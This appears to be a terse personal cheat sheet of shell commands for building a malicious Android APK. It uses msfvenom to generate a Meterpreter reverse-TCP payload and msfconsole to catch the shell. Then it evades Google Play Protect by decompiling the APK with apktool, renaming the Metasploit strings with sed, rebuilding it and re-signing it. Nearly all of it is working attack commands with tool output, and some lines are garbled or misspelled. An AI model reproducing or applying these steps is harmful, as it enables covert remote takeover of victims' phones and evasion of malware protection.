Part 1:

Normal apk:

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -o /root/Desktop/malicious.apk

For reverse connection:

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 10.0.2.15
set LPORT 4444
run

Part 2:

Bypass google play protection

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.25.16 lport=4444 -o w.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10230 bytes
Saved as: w.apk

apktool d w.apk
I: Using Apktool 2.7.0-dirty on w.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values / XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

chmod -R 777 w

cd w/smali/com/wansh/ansh/

sed -i 's/metasploit/wansh/g' *
sed -i 's/stage/ansh/g' *

┌
└─# keytool -genkey -V key.keystore -alias kshitij -keyalg RSA -keysize 2048 -validity 1000

└─# apktool b w

your apk file is created again now transfer this to android

start msfconsole for listening

run apk file in android emulator..

Second command

pk bypassing

apktool d panoti.apk
cd panoti
cd smali/com/ten1/ben
sed -i 's/metasplot/ten1/g'
sed -i 's/metasplot/ten1/g'*
sed -i 's/metasplot/ten1/g' *
sed -i 's/stage/ben/g' *
apktool b panoti
cd panoti/dist
keytool -genkey -v -keystore merakey.keystore -alias vedu -keyalg RSA -keysize 2048 -validity 10000\n
jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore merakey.keystore panoti.apk vedu